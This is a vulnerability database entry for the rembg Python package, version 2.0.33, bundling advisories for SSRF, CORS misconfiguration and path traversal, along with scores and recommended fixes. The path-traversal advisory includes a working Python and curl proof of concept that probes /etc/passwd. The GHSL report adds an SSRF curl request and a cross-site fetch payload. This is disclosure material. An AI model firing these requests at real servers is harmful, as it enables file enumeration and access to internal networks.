Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/rembg@2.0.33
Typepypi
Namespace
Namerembg
Version2.0.33
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version2.0.75
Latest_non_vulnerable_version2.0.75
Affected_by_vulnerabilities
0
url VCID-5491-113y-w7dm
vulnerability_id VCID-5491-113y-w7dm
summary Rembg is a tool to remove images background. In Rembg 2.0.57 and earlier, the /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server. This issue may lead to Information Disclosure.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-25301
reference_id
reference_type
scores
0
value 0.00043
scoring_system epss
scoring_elements 0.13418
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-25301
1
reference_url https://github.com/danielgatis/rembg
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg
2
reference_url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg
3
reference_url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg/
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-03T18:07:11Z/
url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg/
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-25301
reference_id CVE-2025-25301
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-25301
5
reference_url https://github.com/advisories/GHSA-r5gx-c49x-h878
reference_id GHSA-r5gx-c49x-h878
reference_type
scores
url https://github.com/advisories/GHSA-r5gx-c49x-h878
fixed_packages
0
url pkg:pypi/rembg@2.0.58
purl pkg:pypi/rembg@2.0.58
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-bbe2-6vn7-rbg1
1
vulnerability VCID-xeur-463r-pyfb
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/rembg@2.0.58
aliases CVE-2025-25301, GHSA-r5gx-c49x-h878, PYSEC-2025-24
risk_score 3.4
exploitability 0.5
weighted_severity 6.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-5491-113y-w7dm
1
url VCID-bbe2-6vn7-rbg1
vulnerability_id VCID-bbe2-6vn7-rbg1
summary
Rembg has a Path Traversal via Custom Model Loading
## Summary

A **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

**CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

---

## Details

### Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`).

**1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202)

```python
def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs
```

The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation.

**2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83)

```python
@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation
```

The `model_path` is returned with tilde expansion but no validation against path traversal.

**3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38)

```python
self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)
```

The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file.

### Root Cause

The custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation.

---

## PoC

### Prerequisites

- Python 3.10+
- rembg installed with CLI support: `pip install "rembg[cpu,cli]"`

### Step 1: Start the Vulnerable Server

Open a terminal and run:

```bash
rembg s --host 0.0.0.0 --port 7000
```

You should see output like:
```
To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000
```

### Step 2: Send the Exploit Request

Open a **second terminal** and run this Python script:

```python
import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")
```

Or use **curl** directly:

```bash
# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"
```

### Step 3: Verify in Server Logs

Go back to the **first terminal** where the server is running. You will see error messages like:

```
onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.
```

```
onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist
```

### Understanding the Results

| Server Log Message | What It Proves |
|-------------------|----------------|
| `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime |
| `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission |
| `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration |

**The key proof:** The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that:
1. The attacker-controlled path was passed through without validation
2. `onnxruntime.InferenceSession()` attempted to **read the file contents**
3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf

---

## Impact

### Who is Affected?

- **All users** running `rembg s` (HTTP server mode)
- **Cloud deployments** where rembg is exposed as an API service
- **Docker containers** running rembg server

### Attack Scenarios

1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files)
2. **Credential Discovery**: Attacker checks for common credential files
3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration
4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory

### What is NOT Affected?

- CLI usage (`rembg i`, `rembg p`) - users already have local file access
- Library usage - developers control the input

---

## Recommended Fix

### Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

```python
# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)
```

### Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

```python
import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")
```

### Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

```markdown
⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support
```

---

## References

- **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)
- **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)
- **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal)

---
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-40086
reference_id
reference_type
scores
0
value 0.00074
scoring_system epss
scoring_elements 0.22627
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-40086
1
reference_url https://github.com/danielgatis/rembg
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg
2
reference_url https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-10T18:29:11Z/
url https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273
3
reference_url https://github.com/danielgatis/rembg/releases/tag/v2.0.75
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-10T18:29:11Z/
url https://github.com/danielgatis/rembg/releases/tag/v2.0.75
4
reference_url https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-10T18:29:11Z/
url https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-40086
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-40086
6
reference_url https://github.com/advisories/GHSA-3wqj-33cg-xc48
reference_id GHSA-3wqj-33cg-xc48
reference_type
scores
url https://github.com/advisories/GHSA-3wqj-33cg-xc48
fixed_packages
0
url pkg:pypi/rembg@2.0.75
purl pkg:pypi/rembg@2.0.75
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/rembg@2.0.75
aliases CVE-2026-40086, GHSA-3wqj-33cg-xc48
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bbe2-6vn7-rbg1
2
url VCID-j4jv-uxp8-gqft
vulnerability_id VCID-j4jv-uxp8-gqft
summary Rembg is a tool to remove images background. In Rembg 2.0.57 and earlier, the CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-25302
reference_id
reference_type
scores
0
value 0.00042
scoring_system epss
scoring_elements 0.13098
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-25302
1
reference_url https://github.com/danielgatis/rembg
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg
2
reference_url https://github.com/danielgatis/rembg/blob/d1e00734f8a996abf512a3a5c251c7a9a392c90a/rembg/commands/s_command.py#L93
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
2
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-03T17:55:21Z/
url https://github.com/danielgatis/rembg/blob/d1e00734f8a996abf512a3a5c251c7a9a392c90a/rembg/commands/s_command.py#L93
3
reference_url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg
4
reference_url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg/
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-03T17:55:21Z/
url https://securitylab.github.com/advisories/GHSL-2024-161_GHSL-2024-162_rembg/
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-25302
reference_id CVE-2025-25302
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-25302
6
reference_url https://github.com/advisories/GHSA-59qh-fmm7-3g9q
reference_id GHSA-59qh-fmm7-3g9q
reference_type
scores
url https://github.com/advisories/GHSA-59qh-fmm7-3g9q
fixed_packages
0
url pkg:pypi/rembg@2.0.58
purl pkg:pypi/rembg@2.0.58
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-bbe2-6vn7-rbg1
1
vulnerability VCID-xeur-463r-pyfb
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/rembg@2.0.58
aliases CVE-2025-25302, GHSA-59qh-fmm7-3g9q, PYSEC-2025-25
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j4jv-uxp8-gqft
3
url VCID-xeur-463r-pyfb
vulnerability_id VCID-xeur-463r-pyfb
summary
# GitHub Security Lab (GHSL) Vulnerability Report, rembg: `GHSL-2024-161`, `GHSL-2024-162`

The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [rembg](https://github.com/danielgatis/rembg).

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2024-161` or `GHSL-2024-162` as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are _NOT_ the correct point of contact for this report, please let us know!

## Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

## Project

rembg

## Tested Version

[v2.0.57](https://github.com/danielgatis/rembg/releases/tag/v2.0.57)

## Details

### Issue 1: SSRF via `/api/remove` (`GHSL-2024-161`)

The [`/api/remove`](https://github.com/danielgatis/rembg/blob/d1e00734f8a996abf512a3a5c251c7a9a392c90a/rembg/commands/s_command.py#L237) endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may  be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

```python
 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)
```

#### Impact

This issue may lead to `Information Disclosure`.

#### Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

#### Proof of Concept

`curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png`


### Issue 2: CORS misconfiguration (`GHSL-2024-162`)

The following [CORS middleware](https://github.com/danielgatis/rembg/blob/d1e00734f8a996abf512a3a5c251c7a9a392c90a/rembg/commands/s_command.py#L93) is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, `allow_credentials` is set to True, which would allow any website to send authenticated cross site requests.

```python
    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

```

#### Impact

This issue may increase the severity of other vulnerabilities.

#### Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

#### Proof of Concept

An attacker website can host the following code:
```javascript
const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");
```
If a victim running rembg server were to access the attacker website, the attacker website could read the file `secret.jpg` from the server hosted on the victim's internal network.

## GitHub Security Advisories

We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).

## Credit

These issues were discovered and reported by GHSL team member [@Kwstubbs (Kevin Stubbings)](https://github.com/Kwstubbs).

## Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2024-161` or `GHSL-2024-162` in any communication regarding these issues.

## Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
references
0
reference_url https://github.com/danielgatis/rembg
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg
1
reference_url https://github.com/danielgatis/rembg/commit/07ad0d493057bddf821dcc3e2410eb7e065257c0
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg/commit/07ad0d493057bddf821dcc3e2410eb7e065257c0
2
reference_url https://github.com/danielgatis/rembg/releases/tag/v2.0.75
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg/releases/tag/v2.0.75
3
reference_url https://github.com/danielgatis/rembg/security/advisories/GHSA-55v6-g8pm-pw4c
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/danielgatis/rembg/security/advisories/GHSA-55v6-g8pm-pw4c
4
reference_url https://github.com/advisories/GHSA-55v6-g8pm-pw4c
reference_id GHSA-55v6-g8pm-pw4c
reference_type
scores
url https://github.com/advisories/GHSA-55v6-g8pm-pw4c
fixed_packages
0
url pkg:pypi/rembg@2.0.75
purl pkg:pypi/rembg@2.0.75
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/rembg@2.0.75
aliases GHSA-55v6-g8pm-pw4c
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xeur-463r-pyfb
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/rembg@2.0.33